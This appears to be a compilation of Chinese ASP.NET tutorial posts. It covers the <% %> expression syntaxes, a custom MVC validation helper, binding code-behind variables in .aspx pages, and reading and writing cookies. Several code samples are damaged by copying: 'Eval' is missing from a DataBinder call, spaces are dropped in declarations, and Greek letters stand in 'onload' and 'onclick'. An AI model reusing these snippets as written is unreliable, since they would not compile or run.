    ----------------------à>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

     

    在.aspx的文件中经常会碰到如下的代码,如:

    1、<%=%> 里面放的变量名,如:

    <div>
    <h1>Hello World</h1>
    <p>Welcome to Beginning ASP.NET 3.5 on <%=
    DateTime.Now.ToString() %>
    </p>
    </div>
    输出结果为:

    HelloWorld

    Welcome to BeginningASP.NET 3.5 on 2009-11-10 15:53:08

    2、 <%#%> 这里是数据的绑定

    :<%# DataBinder.(Container.DataItem,"ClassName") %>

    完整代码:<asp:DataList ID="ClassList" runat="server">
    <ItemTemplate> <%# DataBinder.(Container.DataItem,"ClassName") %>
    </ItemTemplate>
    </asp:DataList></td>

    3、<%@ %> 表示:引用

    如在很多.aspx页面中,都可以看到如下的代码:

    <%@ PageLanguage="C#" CodeFile="Default.aspx.cs"Inherits="_Default" %>

    4、<%%>中间一般放函数或者方法,典型的asp程序写法。

    例如:<trbgcolor="#ffffff">
    <td height="20">
    <div align="center">类别:</div>
    </td>
    <td height="9">&nbsp;
    <%ST_getList();%>
    </td>
    </tr>

    -----------------------------------------------------------__________________________________________________________________________________________________________________________

    MVCModel数据验证

    MVC Model数据验证已经实现了前后台统一验证,那为什么我又要重新实现一个呢,因为我懒,不想去写一个个Model,总结不方便的地方如下:

    1. 一个form页面要写一个model,不能重用.

    2. 验证和提示信息都写在特性上,书写麻烦,修改一个信息也要重新编译,当然你可以读取xml,但还是麻烦,当提示信息写在xml里,修改时要找,检查时不直观,多加一个验证还是要编译

    关于Model验证可以参考: Asp.net MVC2学习笔记8-数据验证(前后台统一验证)

    我想要的验证

    微软的Model 验证需要在html页面写:

    @Html.ValidationMessage("UserName")

    也就是程序要对 那一个控件进行验证,既然写都写了,为什么不把所有验证信息都写在这呢,由此就产生了这篇文章的想法,我希望在页面这样写:

    @VD1.Bind("UserName").NotEmpty("用户名不能为空"). MinLength(5).ToString()

    这句的意思是:对UserName验证,不能为空,最小长度5.这样每个页面管好自己就行.优点如下:

    1.不用多余的后台代码,有代码提示,点点就搞定.

    2.html里的提示和记在xml效果一样,而且检看时直观.

    3.很多时候一个重要的项目,你不敢更新整个项目,但更新一个页面,大家都轻松,反正这个我感受比较深.

    4.提示信息可以不写,有默认的.

    5.自己生成js可控性强,比如你想改成对话框显示信息,或者右下角提示,写几个重载都可以轻松搞定.

    围绕着这个想法,就有了此类的实现,部分代码如下:

    1. 验证项的接口

    public interface IUniValidate

    {

    #region 验证接口

    /// <summary>最后必需调用</summary>

    MvcHtmlStringToString();

    /// <summary>不能为空</summary>

    IUniValidateNotEmpty(string message = "不能为空");

    2. 验证项

    public class UniValidate: IUniValidate

    {

    /// <summary>不能为空</summary>

    public IUniValidate NotEmpty(stringmessage)

    {

    if(isNew)

    {

    AddJs("required","true", message);

    ValidE += (HttpRequestBase request) =>

    {

    if(request[_inputName] == null || request[_inputName].Length == 0)AddErrStr(message);

    returnchecked1;

    };

    }

    returnthis;

    }

    之所以可以实现前后台统一验证,原理就在这,增加前台的js和后台验证所需的匿名方法,然后返回自己

    3.验证Helper

    public class UniValidateHelper

    {

    private static Dictionary<string, Dictionary<string, UniValidate>> all_valids = new Dictionary<string, Dictionary<string, UniValidate>>();

    private static Dictionary<string, string> all_Js = new Dictionary<string, string>();

    public bool CheckAll(Controllercontr)

    {

    boolres = valids.Count > 0;

    foreach(varitem invalids)

    {

    lock(item.Value)

    {

    item.Value.checked1 = true;

    item.Value.errStr = "";

    if(item.Value.ValidE != null) res = item.Value.ValidE(contr.Request)&& res;

    ErrStr += item.Value.errStr;

    }

    }

    contr.ViewData["ErrStr"] = ErrStr;//asp.net下没有contr.ViewBag

    returnres;

    }

    缓存验证项,验证相关的一此方法

    调用及注意事项

    1. html页面js引用,母板里引用即可

    <script src="http://www.cnblogs.com/Scripts/jquery-1.4.4.js"type="text/javascript"></script>

    <script src="http://www.cnblogs.com/Scripts/jquery.validate.js"type="text/javascript"></script>

    <script src="http://www.cnblogs.com/Scripts/jquery.validate.messages_cn.js"type="text/javascript"></script>

    <script src="http://www.cnblogs.com/Scripts/jquery.validate.extension.js"type="text/javascript"></script>

    2. 新建验证对象

    UniValidateHelper VD1 = new UniValidateHelper("Valid/Index", Request["refresh"] != null);

    或者

    UniValidateHelper VD1 = new UniValidateHelper(ViewContext.RouteData,Request["refresh"] != null);

    3. 控件验证如

    @VD1.Bind("UserName").NotEmpty("用户名不能为空").MinLength(5).ToString()

    4. 服务端错误信息,母板里写一次就可,也可以不显示,因为只有很少的情况会绕过端验证,比如js实效,人为攻击等

    @ViewData["ErrStr"]

    5. 客户js输出,母板里写一次就可

    @VD1.ValidEnd()

    6. 服务端验证

    UniValidateHelper vd = new UniValidateHelper(this.RouteData);

    bool rs= vd.CheckAll(this);

    最后

    具体看源码,类非常简单,写的时候就以简单实用为原则,生成的js验证用的是jquery.validate插件,个人感觉还是非常强大的,当然你也可以自己修改使用其他的验证库,类还有很多不足,您有什么建议请留在回复里,你的参与也许会使这个类 更加完善及强大,虽然感觉已经很强大了,开个玩笑.

    代码的风格可能不合你意,但请不要骂娘,你可以自己改进,至少比重新写省事

    比如这样的注释/// <summary>不能为空</summary> 为了减少行数,为了折叠后还可以看的到

    项目环境:vs2010,mvc3.0

        [源码下载]

    支持的所有验证如下

    ViewCode

    public interfaceIUniValidate
        {
            /// <summary>最后必需调用</summary>
            MvcHtmlStringToString();
            /// <summary>不能为空</summary>
            IUniValidateNotEmpty(string message = "不能为空");
            /// <summary>是否为Email格式</summary>
            IUniValidateEmailAddress(string message = "必需为Email格式");
            /// <summary>正则验证</summary>
            IUniValidate Regex(stringregex, string message = "不正确");
            /// <summary>中文</summary>
            IUniValidateAllChinese(string message = "必需为中文");
            /// <summary>与另一个控件值是否相等</summary>
            IUniValidateEqualTo(string equalElement, stringmessage = "不相同");
            /// <summary>不能与另一个控件相等</summary>
            IUniValidateNotEqualTo(string equalElement, stringmessage = "不能相同");
            /// <summary>不能小于最小值</summary>
            IUniValidate Min(int num, stringmessage = "数字太小");
            /// <summary>不能大于最大值</summary>
            IUniValidate Max(int num, stringmessage = "数字太大");
            /// <summary>长度不能小于</summary>
            IUniValidateMinLength(int num, string message = "长度太短");
            /// <summary>长度不能大于</summary>
            IUniValidateMaxLength(int num, string message = "长度太长");
            /// <summary>验证长度在指定的区间内</summary>
            IUniValidate Length(int min, int max, stringmessage = "长度不正确");
            /// <summary>身份证号码验证</summary>
            IUniValidateIsIDCardNo(string message = "不是有效的身份证");
            /// <summary>远程验证 使用post方式 根据远程返回的Boolen值进行验证 true:表示可以提交,不显示错误提示false:表示不可以提交,显示错误提示</summary>
            IUniValidate Ajax(string url, stringmessage);
            /// <summary>日期验证</summary>
            IUniValidate Date(stringmessage = "日期不正确");
            /// <summary>网址验证</summary>
            IUniValidate Url(stringmessage = "网址不正确");
            /// <summary>Decimal型数字验证</summary>
            IUniValidateDecimal(string message = "不是有效的数字");
            /// <summary>检测是否为IP地址</summary>
            IUniValidate IsIP(stringmessage = "IP不正确");
            /// <summary>不包含Html代码</summary>
            IUniValidate NoHtml(stringmessage = "不能包含标示符");
            /// <summary>不能包含中文或全角字符验证</summary>
            IUniValidateNoChinese(string message = "不能是中文");
            /// <summary>判断是否是标准字符 如果包含非标准字符 报错</summary>
            IUniValidateIsLegalXmlString(string message = "xml格式错误");
            /// <summary>非 正则表达式,即不匹配此正则</summary>
            IUniValidateNotRegex(string regex, string message);
            /// <summary>Char最大长度</summary>
            IUniValidateCharCodeLength(int num, string message = "长度不正确");

    ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

    ASP.NET前台代码绑定后台变量方法总结

    经常会碰到在前台代码中要使用(或绑定)后台代码中变量值的问题。一般有<%= str%>和<%# str %>两种方式,这里简单总结一下。如有错误或异议之处,敬请各位指教。

    一方面,这里所讲的前台即通常的.aspx文件,后台指的是与aspx相关联的CodeBehind,文件后缀名为.aspx.cs;另一方面,这里的绑定是指用户发出访问某一页面指令后,服务器端在执行过程中就已经将前台代码进行了赋值,而后生成html格式回传客户端显示,而并非已经显示到客户端后,然后通过其他方法(如ajax)去服务器端获取相应变量。

    备注:上面说的两个文件是常见的代码隐藏(code-behind)模式,还有一种是代码嵌入(code-beside, inline)模式,那就是只存在aspx一个文件,而后台代码则写入此文件的<scripttype="text/javascript" runat="server"></script>之中(还有一些语法上区别),这对于本文讨论的问题略有影响,因为代码嵌入是声明性代码与C#/VB.NET代码都一起编译到一个类里面,而代码隐藏则将声明性代码与C#/VB.NET代码分开几次进行翻译/编译,因此前者是局部与局部(partial)的关系后者基类与派生类的关系,但这仅仅影响所能绑定变量的范围(与修饰符有关),下面会提到。以下均以代码隐藏模式为例。

    一般来说,在前台代码的三种位置可能会用到(绑定)后台变量:

    ·        服务器端控件属性或HTML标签属性

    ·        JavaScript代码中

    ·        Html显示内容的位置(也就是开始标签与结束标签之间的内容,如<div>这里</div>(Html标签)或者<asp:LabelID="Label2" runat="server" Text="Label">这里</asp:Label>(服务器端控件),它作为占位符把变量显示于符号出现的位置)

    对于第一种位置,有一些约束条件:

    (1)一般的属性要求是字符串型或数值型(下面会提到有些服务器端属性支持属性为数据集合);

    (2)并不是所有的属性都可以绑定变量,有些属性例如runat属性必须是"server"常量,即使绑定的字符串是server,也会导致分析器分析时出错;

    (3)有一种属性,他要求属性值有约束(类型约束,比如服务器端控件要求TabIndex属性是short类型,或者字符串内容有约束),也应该在绑定时满足,否则依然可能编译时报错;

    (4)还一种属性,虽然属性本身有约束,但即使绑定的变量不满足约束,也可以编译通过,比如input的checked属性,它只有checked字符串是合法的,但如果通过绑定获取到的字符串不是checked,那么这些属性将有自己内部处理机制,来保证可以正常使用;

    (5)还要注意,即使对于同一类属性,服务器端和HTML的属性的处理机制也不同,同样是TabIndex(tabIndex),前者如果不满足,则分析器错误,后者则忽略这一问题。

    对于第二种位置,一般只要绑定的后台变量和JavaScript中数据类型兼容即可。

    对于第三种位置,如果绑定出现的位置不在服务器端控件内部,则没有约束条件,只要是常量字符串可以出现的位置,均可以绑定。但是对于置于服务器端控件内部,也就是上面那种<asp:LabelID="Label2" runat="server" Text="Label">这里</asp:Label>的方式,则有约束条件。通过总结,归纳为四类服务器端控件,如果绑定的代码出现在这些控件的开始和结束标签之间(这里所说的控件,是指如果绑定代码外有多层的嵌套控件包围,则是指包围绑定代码的最内层控件),有不同的显示结果:

    (1)约束型控件:这类控件要求它的开始标签和结束标签中只能包含指定的子控件,因此如果在这里出现代码块,将编译错误。例如:

    <asp:DataListrunat="server"></asp:DataList>,在它之间,要求必须嵌套<ItemTemplate></ItemTemplate>。

    (2)非嵌套类控件:这类控件,不允许在内部嵌套其他控件或标签,只能是常量字符串,它会将开始标签和结束标签中常量字符串内容作为他的属性。例如上面提到的TextBox,它会将标签间内容作为它的Text属性值。

    (3)嵌套类控件:这类控件,可以嵌套其他任意控件,也可以包含字符串,因此可以正常显示绑定代码块所表示的字符串内容。例如Label控件、Panel等。

    (4)数据绑定类控件:这类控件是ASP.NET提供的服务器端控件,除了可以绑定普通的变量类型,也可以绑定一个数据集合(只能采取下面的第二种方式实现)。

    关于是否加引号:在以上三个位置使用时,是否应该将<%= str%>或<%# str %>置于单引号或双引号中呢?对于在不同位置,处理的方式是不同的:(具体请在下面两种方式的具体介绍时,加以体会)

    (1)对于第一种位置,由于JavaScript是弱类型的,如果绑定时加引号,显然就认为就当做字符串来处理,这始终是正确的;如果绑定时不加引号,它将认为这是个数值型的,那么如果获取的真是数值,当然可以,如果是非数值型,则将产生脚本错误,这即使对于JavaScript赋值常量时,也是同样的:

            var test1 = 123b;//运行时报错
            var test2=123;//正确,是数值型
            var test3="123b";//正确,字符串型

    (2)对于第二种位置,经过测试,无论是对于服务器端控件属性还是HTML标签属性,加引号总是正确的;如果不加引号,则两种属性的处理方式不同:

    ·        对于服务器端控件属性,如果绑定的代码块不加引号,则编译时会提示“验证(ASP.NET):特性值前后必须加引号”的警告信息,但是生成为HTML后,对应生成的HTML属性已经被加上引号并获取了正确的绑定结果,因此加不加引号不会影响使用,但是建议对于规范的代码,还是加上为好;

    ·        对于HTML标签属性,如果不加引号,则编译时会提示“验证(XHTML 1.0 Transitional): 特性值前后必须加引号”的警告信息,并且生成为HTML属性也确实没有加上引号,那么虽然属性后面确实是没有加上引号的正确的绑定值,但是不一定能展示出想要看到的结果。比如对于input标签的value属性,如果绑定的字符串是" hello world fromvariable”,则在客户端的input显示出的内容实际上只是"hello”字符串,生效的属性值是一个被截断的字符串,它从属性后的一串字符串(若未加引号)的第一个非空字符开始,截止到下一个空字符的前一个字符为止(比如对于" hello world”,结果将是"hello”),因此,加上引号是必须的。

    (3)对于第三种位置,加与不加引号,获取的值及其显示均不受影响。

    因此建议,所有绑定表达式都加上引号,作为字符串获取,然后根据实际需求,用相应函数进行转换,得到所需要的类型。

    另外,这里所说的后台变量是泛指的,包括如下:

    ·        成员变量

    ·        方法或属性的返回值

    ·        表达式,也就是所有后台能够执行的代码,运行后所得到的值(也就是直接将后台代码写在前台代码中,记得使用完全限定名或在后台中using相关namespace)

    ·         数据集合

    后台变量有一些约束条件,需要满足:

    (1)变量修饰符要求。变量是静态或者实例字段均可。对于代码隐藏模式的ASP.NET,以上的所述的变量必须为public或protected类型(因为是基类与派生类的关系),private或者internal都不行,而代码嵌入模式则任何修饰符的变量均可访问(一个类内部的关系)。

    (2)变量类型要求。由于前台属性一般是字符串类型,而JavaScript基本类型也就是字符串型、数字型、布尔型,因此对应的变量应该也是这几种方式,其余类型如果不被支持(如复杂类型、数组、引用类型等),前台获取的就是调用了变量的ToString()方法所得到的字符串。因此,在绑定时,要根据情况看是否能进行隐式类型转换,必要时还要用相关函数来强制转换,以保证前台可以获得正确的值。当然,对于数据绑定类控件,它的有些属性可以为数据集合,但这时的绑定只能通过下面第二种方式才被支持。

    以上是一些概念和基本约束,这些都是两种方式都应该满足的,下面具体介绍两种方式,来实现前台代码中(以下称为代码块)绑定后台变量的功能。

    一. <%= str%>

    此种方式其实是ASP 时代就支持的,ASP 通过包含在 < % 和 %>中的表达式将执行结果输出到客户浏览器 , 如:< % =test %>就是将变量test的值发送到客户浏览器中。在ASP.NET中,这个表达式依然可以使用,并可以出现在前台代码的上述三个位置,但是要注意,除了上述的一般性约束外,对于控件属性,还必须是绑定到服务器端控件的属性。另外,它只能绑定上面讲的前三种变量类型,不支持绑定数据集合。例子如下:

    后台代码

    public partial class WebForm2 : System.Web.UI.Page
       {
           public string GetVariableStr;//注意变量的修饰符
           protected void Page_Load(object sender, EventArgs e)
           {
               if (!IsPostBack)
               {
                   GetVariableStr = "hello world from variable";
               }
           }
           protected string GetFunctionStr()//注意返回值的修饰符
           {
               return "hello world from Function";
           }
       }

    前台代码

    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>
        <title></title>
        <script type="text/javascript">
            function fun() {
     
                var str = '<%= DateTime.Now %>';
                //前台位置1,绑定的是第三种变量类型(也是第二种方式,?因为Now是个属性)
                alert(str);
            }
        </script>
    </head>
    <body οnlοad="fun()">
        <form id="form1" runat="server">   
            <div>
                 <input type="text" value="<%= GetVariableStr %>" />
                                                      <%--前台位置2,绑定的是成员变量--%>
                 "<%= GetFunctionStr() %>"
                                                      <%--前台位置3,绑定的是一个方法的返回值>--%>
            </div>
        </form>
    </body>
    </html>

    一些错误的使用:

    之所以说第一种绑定方式要用于非服务器端控件的属性,是因为如果应用于这些服务器端属性时,这些代码实际上不被解析。 比如:

     <asp:Label ID="Label1" runat="server" Text="<%= GetVariableStr %>"></asp:Label>
     <asp:TextBox ID="TextBox1" runat="server" Text="<%= GetVariableStr %>"></asp:TextBox>

    则显示出来的Label1的文本是空,而TextBox中文本是"<%= GetVariableStr %>”,所以记住,对服务器端控件的属性加这样的代码块,将不被解析,而是将这一字符串直接作为属性值了,所以不是想要的结果。如果引号也不加上,将会编译错误,提示“服务器标记不能包含 <% ... %> 构造。”。

    这里结合开篇提到的关于将绑定代码快置于“Html显示内容的位置”时,如果在服务器端控件内,那四类控件如何显示的问题。如下:

      <asp:Label ID="Label1" runat="server" >"<%= GetVariableStr %>"</asp:Label>
      <asp:TextBox ID="TextBox1" runat="server" >"<%= GetVariableStr %>"</asp:TextBox>

    其中,Label1属于嵌套类控件,Label1确实显示了正确的结果,TextBox属于非嵌套类控件,TextBox如果用这种方式,将会产生编译错误,提示“此上下文中不支持代码块。”

    二. <%# str %>

    ASP.NET 引入了一种新的声明语法 <%# %>。该语法是在 .aspx 页中使用数据绑定的基础,所有数据绑定表达式都必须包含在这些字符中。这里从用法和适用范围等方面与第一种绑定方式进行区分。

    从出现的位置来看,除了能出现在第一种代码块出现的所有位置外,他还可以出现在服务器端控件的属性中。

    从绑定的变量类型上看,他还可以配合ASP.NET的数据绑定类控件,来绑定上述的第四种“变量”类型,就是数据集合(DropDownList,DataList,DataGrid,ListBox这些是数据绑定类控件,数据集合包括ArrayList(数组),Hashtable(哈稀表,DataView(数据视图),DataReader等)。

    用法上看,在前台代码中除了在相应位置写上<%# %>外,在后台代码中,还需要使用DataBind()方法。以下是实例:

    前台代码:

    <html xmlns="http://www.w3.org/1999/xhtml">
    <head>
        <title></title>
        <script type="text/javascript">
            function fun() {
     
                var str = '<%# DateTime.Now %>';
     
                alert(str);
            }
        </script>
    </head>
    <body οnlοad="fun()">
        <form id="form1" runat="server">
        <div>
            <input type="text" value="<%# GetVariableStr %>" /><br />
            "<%# GetVariableStr %>"
            <asp:Label ID="Label1" runat="server" Text="<%# GetVariableStr %>"></asp:Label>
                <%--此种方式可以绑定服务器端控件的属性--%>
            <asp:DropDownList ID="DropDownList1" runat="server" DataSource='<%# arraylist %>'>
                <%-- 将集合绑定到数据绑定类控件,通过DataSource属性来实现,从而在下拉框看到集合中的内容--%>
            </asp:DropDownList>
            <asp:DataList ID="DataList1" runat="server" DataSource='<%# dt %>'>
                <%--  同上,绑定了DataTable数据集合?--%>
                <ItemTemplate>
                    <table border="1" cellpadding="0" cellspacing="0">
                        <tr>
                          <td>
                           <asp:Label ID="Label2" runat="server" Text='<%# Bind("row0")%>'></asp:Label>
                           <%--由于绑定的数据集合具有多列,并且此数据绑定类控件支持模板,
                               因此需要在模板中指定需要绑定的列以及格式--%>
                          </td>
                          <td>
                           <%# Eval("row1")%>
                          </td>
                        </tr>
                    </table>
                </ItemTemplate>
            </asp:DataList>
        </div>
        </form>
    </body>
    </html>

    可以看出,这种方式在使用时,不但可以实现(取代)<%=... %>所满足的功能,还可以绑定服务器控件属性(如上面的Label1),也可以将集合类型绑定到支持的数据绑定类控件。在用法上,前台代码除了对数据绑定类控件绑定数据集合外有所差别,其他的使用上与第一种没区别。在绑定类控件的模板中,如何使用Eval、Bind、DataBinder.Eval等,不在此文讨论中,可以参考下面链接的参考文章。

    后台代码

    public partial class WebForm2 : System.Web.UI.Page
    {
        public string GetVariableStr;
        public ArrayList arraylist;
        public DataTable dt;
        protected void Page_Load(object sender, EventArgs e)
        {
            if (!IsPostBack)
            {
                GetVariableStr = "hello world from variable";
     
                arraylist = new ArrayList();
                arraylist.Add("选?项?1");
                arraylist.Add("选?项?2");
     
                dt = new DataTable();
                dt.Columns.Add("row0");
                dt.Columns.Add("row1");
                DataRow dr1 = dt.NewRow();
                dr1[0] = "1.1";
                dr1[1] = "1.2";
                DataRow dr2 = dt.NewRow();
                dr2[0] = "2.1";
                dr2[1] = "2.2";
                dt.Rows.Add(dr1);
                dt.Rows.Add(dr2);
     
                Page.DataBind();
                //DropDownList1.DataBind();
                //DataList1.DataBind();
            }
        }
    }

    在后台代码中,与第一种方式唯一不同的,就是需要调用DataBind方法。只有执行了相应控件的DataBind方法,前台代码中这些控件中使用<%# %>的绑定才会发生(并且控件内部的所有绑定也会发生,比如又嵌套了一个绑定后台数据的控件),否则得话将不会被赋值,而是默认空值。上面我们用的是Page的DataBind方法,那么整个页面所有绑定都会执行。当然,如果我们只执行DataList1或者DropDownList1的DataBind方法,那么只有相应控件的绑定才会发生。需要注意的是,这里说的需要执行DataBind包括了显示和隐式执行,有些数据绑定类控件,当它们通过 DataSourceID 属性绑定到数据源控件时,会通过隐式调用 DataBind 方法来执行绑定。这时就不必显示的再次调用了。

    两者区别:

    两种绑定方式上,他们的约束基本相同,都要求与属性匹配,出现在他们可以出现的位置。后者的使用位置更广泛,尤其是支持服务器端控件和绑定数据集合。后台代码方面,后者需要调用DataBind才能完成绑定,前者则没有这方面要求。这里主要区别一下两者在执行机制上的区别:<%=...%>是在程序执行时调用(应该是在页面的RenderControl事件过程中完成的,也就是通常情况下我们可以看到的后台代码都执行完毕后再去到前台代码中进行赋值绑定),而<%#... %>是在DataBind()方法之后被调用,一旦调用了DataBind(),则它对应的控件将绑定变量,因此,请注意:如果在DataBind()后再修改变量,那么绑定的就不是最新值了,这就需要在完成变量的赋值后,再去DataBind()。其实这两种方式,它的运行过程可以在VS中通过设置断点来看看,看两者的绑定赋值分别是在什么时候发生的。

    尚存的疑问:

    1.不知道为什么不能获取到internal修饰的变量?

    答:此问题已经在下一篇文章《ASP.NET前台无法访问后台internal类型变量的问题》中分析并解决。(2010-10-25日更新)

    补充1:回答关于9楼的提到的ASP.NET 4.0中的<%: xxxx%>(2010-11-4)

    答:这种方式是ASP.NET4.0中新加入的绑定方式,常用于MVC中,但普通webform中也可使用。他的功能其实就是对绑定的值进行一下编码,因此,一下两者是等同的:

     <%= Server.HtmlEncode("<b>test</b>") %>
     <%: "<b>test</b>" %>;

    补充2:关于各种百分号的功能区分(2010-11-4)

    答:本文上面讲了两种百分号的用法,在加上补充1中的,一共讲了三种,其实还有一种百分号用法就是<% func(xx)%>,也就是百分号后不带任何符号,然后执行一段代码,一句话概括:

    在百分号內 , 如果百分号后面不带任何符号(冒号、等号、井号) , 即表示要执行一段代码而已,此处不包含任何输出信息;若带符号,即表示执行此处的代码,并且将执行后返回的值绑定(或者显示)在此处。

    参考文章:

    --------------------------------------------------------------------------______________________________________________________________________________________________________________-

    Cookie的深入理解

    Cookie虽然是个很简单的东西,但它又是WEB开发中一个很重要的客户端数据来源,而且它可以实现扩展性很好的会话状态,所以我认为每个WEB开发人员都有必要对它有个清晰的认识。本文将对Cookie这个话题做一个全面的描述,也算是我对Cookie的认识总结。

    Cookie 概述

    Cookie是什么?Cookie 是一小段文本信息,伴随着用户请求和页面在 Web 服务器和浏览器之间传递。Cookie 包含每次用户访问站点时 Web 应用程序都可以读取的信息。

    为什么需要Cookie? 因为HTTP协议是无状态的,对于一个浏览器发出的多次请求,WEB服务器无法区分是不是来源于同一个浏览器。所以,需要额外的数据用于维护会话。 Cookie 正是这样的一段随HTTP请求一起被传递的额外数据。

    Cookie能做什么?Cookie只是一段文本,所以它只能保存字符串。而且浏览器对它有大小限制以及它会随着每次请求被发送到服务器,所以应该保证它不要太大。 Cookie的内容也是明文保存的,有些浏览器提供界面修改,所以,不适合保存重要的或者涉及隐私的内容。

    Cookie 的限制。 大多数浏览器支持最大为 4096 字节的 Cookie。由于这限制了 Cookie 的大小,最好用 Cookie 来存储少量数据,或者存储用户 ID 之类的标识符。用户 ID 随后便可用于标识用户,以及从数据库或其他数据源中读取用户信息。浏览器还限制站点可以在用户计算机上存储的 Cookie 的数量。大多数浏览器只允许每个站点存储20 个 Cookie;如果试图存储更多 Cookie,则最旧的 Cookie 便会被丢弃。有些浏览器还会对它们将接受的来自所有站点的Cookie 总数作出绝对限制,通常为 300 个。

    通过前面的内容,我们了解到Cookie是用于维持服务端会话状态的,通常由服务端写入,在后续请求中,供服务端读取。下面本文将按这个过程看看Cookie是如何从服务端写入,最后如何传到服务端以及如何读取的。

    Cookie的写、读过程

    在Asp.net中,读写Cookie是通过使用HttpCookie类来完成的,它的定义如下:

    public sealed class HttpCookie

    {

        // 获取或设置将此 Cookie 与其关联的域。默认值为当前域。

        publicstring Domain { get; set; }

        // 获取或设置此 Cookie 的过期日期和时间(在客户端)。

        publicDateTime Expires { get; set; }

        // 获取一个值,通过该值指示 Cookie 是否具有子键。

        publicbool HasKeys { get; }

        // 获取或设置一个值,该值指定 Cookie 是否可通过客户端脚本访问。

        // 如果 Cookie 具有 HttpOnly 属性且不能通过客户端脚本访问,则为 true;否则为 false。默认为false。

        public bool HttpOnly { get; set; }

        // 获取或设置 Cookie 的名称。

        publicstring Name { get; set; }

        // 获取或设置要与当前 Cookie 一起传输的虚拟路径。默认值为当前请求的路径。

        publicstring Path { get; set; }

        // 获取或设置一个值,该值指示是否使用安全套接字层(SSL)(即仅通过 HTTPS)传输 Cookie。

        publicbool Secure { get; set; }

        // 获取或设置单个 Cookie 值。默认值为空引用。

        publicstring Value { get; set; }

        // 获取单个 Cookie 对象所包含的键值对的集合。

        publicNameValueCollection Values { get; }

        // 获取System.Web.HttpCookie.Values 属性的快捷方式。

        publicstring this[string key] { get; set; }

    }

    Cookie写入浏览器的过程:我们可以使用如下代码在Asp.net项目中写一个Cookie 并发送到客户端的浏览器(为了简单我没有设置其它属性)。

    HttpCookie cookie = new HttpCookie("MyCookieName", "string value");

    Response.Cookies.Add(cookie);

    我想很多人都写过类似的代码,但是,大家有没有想过:Cookie最后是如何发送到客户端的呢?我们打开Fiddler来看一下吧。

    从上图,您应该能发现,我们在服务端写的Cookie,最后其实是通过HTTP的响应头这种途径发送到客户端的。每一个写入动作,都会产生一个【Set-Cookie】的响应头。
    浏览器正是在每次获取请求的响应后,检查这些头来接收Cookie的。

    Asp.net获取Cookie的过程:我们可以使用如下代码在Asp.net项目中读取一个Cookie

    HttpCookie cookie = Request.Cookies["MyCookieName"];

    if( cookie != null )

        labCookie1.Text= cookie.Value;

    else

        labCookie1.Text = "未定义";

    代码同样也很简单,还是类似的问题:大家有没有想过,Cookie是如何传到服务端的呢?我们还是继续使用Fiddler来寻找答案吧。

    从图片中,我们可以发现,Cookie是放在请求头中,发送到服务端的。如果你一直刷新页面,就能发现,每次HTTP请求,Cookie都会被发送。当然了,浏览器也不是发送它所接收到的所有Cookie,它会检查当前要请求的域名以及目录,只要这二项目与Cookie对应的Domain和Path匹配,才会发送。对于Domain则是按照尾部匹配的原则进行的。
    所以,我在访问 www.cnblogs.com 时,浏览器并不会将我在浏览www.163.com 所接收到的 Cookie 发出去。

    删除Cookie:其实就是在写Cookie时,设置Expires为一个【早于现在时间的时间】。也就是:设置此Cookie已经过期,浏览器接收到这个Cookie时,便会删除它们。

    HttpCookie cookie = new HttpCookie("MyCookieName", null);

    cookie.Expires= newDateTime(1900, 1, 1);

    Response.Cookies.Add(cookie);

    使用Cookie保存复杂对象

    前面的示例代码大致演示了Cookie的读写操作。不过,我们平时可能希望将更复杂的【自定义类型】通过Cookie来保存,那么又该如何操作呢?对于这个问题,我们定义一个类型来看看如何处理。

    public class DisplaySettings

    {

        publicint Style;

     

        publicint Size;

       

        publicoverride string ToString()

        {

            return string.Format("Style = {0}, Size = {1}", this.Style,this.Size);

        }   

    }

    上面的代码,我定义一个类型,用于保存用户在浏览页面时的显示设置。接下来,我将介绍二种方法在Cookie中保存并读取它们。

    方法-1,经典做法。(注意前面给出的HttpCookie定义代码中的最后二个成员)

    private void WriteCookie_2a()

    {

        DisplaySettings setting= newDisplaySettings { Style = 1, Size = 24 };

     

        HttpCookie cookie = newHttpCookie("DisplaySettings1");

        cookie["Style"] = setting.Style.ToString();

        cookie["Size"] = setting.Size.ToString();

     

        Response.Cookies.Add(cookie);

    }

     

    private void ReadCookie_2a()

    {

        HttpCookie cookie = Request.Cookies["DisplaySettings1"];

        if( cookie == null )

            labDisplaySettings1.Text= "未定义";

        else{

            DisplaySettings setting = new DisplaySettings();

            setting.Style= cookie["Style"].TryToInt();

            setting.Size= cookie["Size"].TryToInt();

            labDisplaySettings1.Text= setting.ToString();

        }

    }

    方法-2,将对象JSON序列化为字符串。

    private void WriteCookie_2b()

    {

        DisplaySettings setting= newDisplaySettings { Style = 2, Size = 48 };

     

        HttpCookie cookie = newHttpCookie("DisplaySettings2", setting.ToJson());

        Response.Cookies.Add(cookie);

    }

     

    private void ReadCookie_2b()

    {

        HttpCookie cookie = Request.Cookies["DisplaySettings2"];

        if( cookie == null )

            labDisplaySettings2.Text= "未定义";

        else{

            DisplaySettings setting = cookie.Value.FromJson<DisplaySettings>();

            labDisplaySettings2.Text= setting.ToString();

        }

    }

    这段代码使用了我定义的二个扩展方法。点击此处展开

    /// <summary>

    /// 将一个对象序列化成 JSON 格式字符串

    /// </summary>

    /// <param name="obj"></param>

    /// <returns></returns>

    public static string ToJson(this object obj)

    {

        if( obj == null )

            return string.Empty;

     

        JavaScriptSerializer jss = new JavaScriptSerializer();

        return jss.Serialize(obj);

    }

     

    /// <summary>

    /// 从JSON字符串中反序列化对象

    /// </summary>

    /// <typeparam name="T"></typeparam>

    /// <param name="cookie"></param>

    /// <returns></returns>

    public static T FromJson<T>(this string cookie)

    {

        if( string.IsNullOrEmpty(cookie) )

            return default(T);

     

        JavaScriptSerializer jss = new JavaScriptSerializer();

        return jss.Deserialize<T>(cookie);

    }

    对于这二种方法,我个人更喜欢后者,因为它具有更好扩展性:如果类型增加了成员,不需要修改读写Cookie的代码。
    不过,这种方式产生的有些字符,比如【双引号】,极少数浏览器(Opera)不支持,所以需要做UrlEncode或者Base64编码处理。
    同理,对于第一种方法,遇到Value有【双引号】时,我们同样需要做UrlEncode或者Base64编码处理。

    Js中读写Cookie

    Cookie并非只能在服务端读写,在客户端的浏览器中也可以实现对它的读写访问。而且在JS中创建的Cookie对于服务端仍然有效(可见),接下来我们来看看在JS中如何写入Cookie,演示代码将创建一个按钮,并在点击按钮后写入Cookie

    <input type="button"οnclick="WriteCookie();" value="WriteCookie"/>

     

